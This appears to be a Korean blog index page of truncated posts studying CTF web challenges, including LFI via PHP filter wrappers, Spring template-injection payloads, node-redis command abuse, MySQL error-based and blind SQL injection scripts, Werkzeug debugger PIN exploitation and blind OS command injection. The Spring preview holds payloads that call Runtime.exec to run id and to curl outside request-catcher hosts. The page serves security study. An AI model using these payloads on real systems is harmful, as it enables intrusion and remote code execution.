본문 바로가기

(12)
WACon2022-Kuncɛlan 공부 blackbox challenge 라고한다.들어가면 로그인창이 나오고 guest/guest로 로그인하면 뭔가 SSRF을 이용해 풀어야 할것같은 창이 나온다. 입력해보면 로컬인 127.0.0.1에서만 동작하는 기능이다. blackbox상태에서 필터링을 우회하는건 힘들기에 다른 방법을 찾아봐야한다. php wrapper를 이용한 LFI가 있었다./index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/index PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXNzaW9uX3N0YXJ0KCk7CgppZighaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSkgewogICA..
Spring 삽질 __${1111+2222}__::.x__${'abccc'.toUPPERCASE()}__::.x__${getRuntime().exec(curl 'https://ckgmkdp.request.dreamhack.games')}__::.x__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x__${(1).Class.forName('ja'+'va.lang.Runt'+'ime').getRuntime().exec('curl https://xltlspf.request.dreamhack.games')}__::.x[_${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime')...}__], template might not exist or might not ..
SSTI 문서 https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/README.md GitHub - carlospolop/hacktricks: Welcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, reWelcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news. - GitHub - ca..
node-redis Bug case command의 첫번째 인자에 array 타입이 올 경우 기존 방식과는 다르게 처리 되는것을 이용// String Typekey, value, callback => Command(command, [key, value], callback) // Array Type[key, value] => Command(command, key, value)redis_client.send_command(log_query[0], log_query[1], function(err, result)예시로 다음처럼 log_query를 get으로 받아 command를 실행시켜주는 함수가 있다. callback함수까지 있는 형식이지만여기에 다음처럼 array형태로 줄경우 callback함수는 무시된다. ?log_query[0]=set&l..
mysql error based injection 잘 되어 있는 곳 https://johyungen.tistory.com/408 MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml())소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 johyungen.tistory.com extractvalue와 같은 xml 내장함수의 경우 에러 출력시 32글자 제한이 있기에 substr과 같은 함수로 출력되는값을 잘 나누어 값을 얻어낸다.admin' and extractvalue(1,concat(0x3a,substr((select up..
한글 blind sqlinjection from email import headerfrom requests import get, headhost = "input your host"password_length = 0headers={"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8)"}while True: password_length += 1 query = f"admin' and char_length(upw) = {password_length}-- -" r = get(f"{host}/?uid={query}",headers=headers) if "exists" in r.text: breakprint(f"password length: ..
python flask debugger pin취약점 문제 Werkzeug 는 Flask가 많이 사용하는 WSGI웹 애플리케이션 라이브러리이다. 디버깅시 사용하면 편하지만 RCE취약점으로 연결될수있다는 점이있다. app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)이런 문제의 특징은 debug기능이 true로 되어있다는것이다.(true로 할시 pin번호만 입력하면 interactive interpreter형식의 python을 사용할수 있게 된다) 콘솔에 접근하는 방법은url:{port}/console 에 접근하거나에러페이지에서 에러에 커서를 대면 우측의 콘솔버튼으로 접근이 가능하다. 하지만 pin번호를 알아야 하기에 이핀번호를 어케 알아내느냐?보통 LFI취약점으로 파일을 읽을 수 있게된다. 다음 에러 페이..
Blind OS Command Injection OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다.command injection성공후 리턴값을 볼수없기에 다른 방식으로 공격자에게 응답을 오도록 한다. 1.ping을 이용한 방법ping -c 5 xxx.xxx.xxx.xxx : 대상 IP에 icmp 메세지를 5번 요청하는 명령어다음처럼 command에 넣으면 대상ip를 나의 서버로 해두면 명령어가 잘먹혔을때 로그가 찍힐것이다. 다중명령어 사용법 등 링크참조---------------틈새시장------------------이사람 정말 설명을 잘해뒀다.https://bpsecblog.wordpress.com/2016/10/05/command_injection_02/ 엄마보고싶다(2) – Com..